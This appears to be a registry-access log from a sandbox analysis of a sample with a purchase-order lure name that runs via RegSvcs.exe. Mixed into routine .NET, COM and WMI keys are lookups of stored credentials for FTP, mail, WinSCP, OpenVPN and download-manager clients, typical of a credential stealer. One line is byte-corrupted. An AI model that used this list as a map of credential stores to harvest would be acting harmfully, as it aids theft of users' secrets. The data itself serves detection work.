HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\POs 097663899 NEW ORDER.r.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\558BE819
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPSampledIn
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegSvcs.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-479431668-4257340731-3059248302-1002
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DbgJITDebugLaunchSetting
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DbgManagedDebugger
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
\xe230\x17dEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_CURRENT_USER\Software\Classes\AppID\RegSvcs.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\9D7CE237
HKEY_CURRENT_USER\Software\Classes\WinMgmts
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Scripting
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Scripting\Default Namespace
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\System\DNSclient
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain
HKEY_CURRENT_USER\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler
HKEY_CURRENT_USER\Software\Classes\TypeLib
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32\(Default)
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\CMF\Config
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\CMF\Config\SYSTEM
HKEY_CLASSES_ROOT\CLSID\{62E522DC-8CF3-40A8-8B2E-37D595651E40}\InprocServer32
HKEY_CLASSES_ROOT\CLSID\{62E522DC-8CF3-40A8-8B2E-37D595651E40}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\409
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\9
HKEY_CURRENT_USER\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler
HKEY_CURRENT_USER\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_CLASSES_ROOT\CLSID\{04B83D61-21AE-11D2-8B33-00600806D9B6}\InprocServer32
HKEY_CLASSES_ROOT\CLSID\{04B83D61-21AE-11D2-8B33-00600806D9B6}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.CustomMarshalers__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.CustomMarshalers__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Configuration.Install__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Configuration.Install__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.10.0.Microsoft.JScript__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.10.0.Microsoft.JScript__b03f5f7f11d50a3a
HKEY_CLASSES_ROOT\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32\(Default)
HKEY_CLASSES_ROOT\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\WMIDisableCOMSecurity
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\FinalizerActivityBypass
HKEY_LOCAL_MACHINE\Software\Microsoft\OleAut
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32\Class
HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\409
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\9
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32\(Default)
HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites
HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\RimArts\B2\Settings
HKEY_CURRENT_USER\Software\Qualcomm\Eudora\CommandLine
HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Central European Standard Time
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Central European Standard Time\TZI
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Central European Standard Time\Dynamic DST
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Central European Standard Time\MUI_Display
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Central European Standard Time\MUI_Std
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Central European Standard Time\MUI_Dlt
HKEY_CURRENT_USER\Software\DownloadManager\Passwords
HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
HKEY_CURRENT_USER\Software\IncrediMail\Identities
HKEY_CURRENT_USER\Software\OpenVPN-GUI\configs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Data.SqlXml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Data.SqlXml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\ServiceParameters
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LaunchPermission
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\LegacyAuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\LegacyImpersonationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LoadUserSettings
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerRequestOverride
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\PowerRequestOverride
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerRequestOverride\Driver
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ProgID\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\AppID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ServiceParameters
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\LaunchPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\LoadUserSettings
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\LocalServer
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\Elevation
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\Tracing\WMI
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\SessionEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Level
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AreaFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Session
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\BufferSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MinimumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFileMode
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\FlushTimer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AgeLimit
HKEY_LOCAL_MACHINE\SYSTEM\Setup
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Safeboot\Option
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\VssAccessControl
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Rpc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Settings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag\WMI Writer
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax
HKEY_LOCAL_MACHINE\Software\Classes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\IdentifierLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\QueryLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PathLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbThrottlingEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighMaxLimitFactor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbTaskMaxSleep
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1Mult
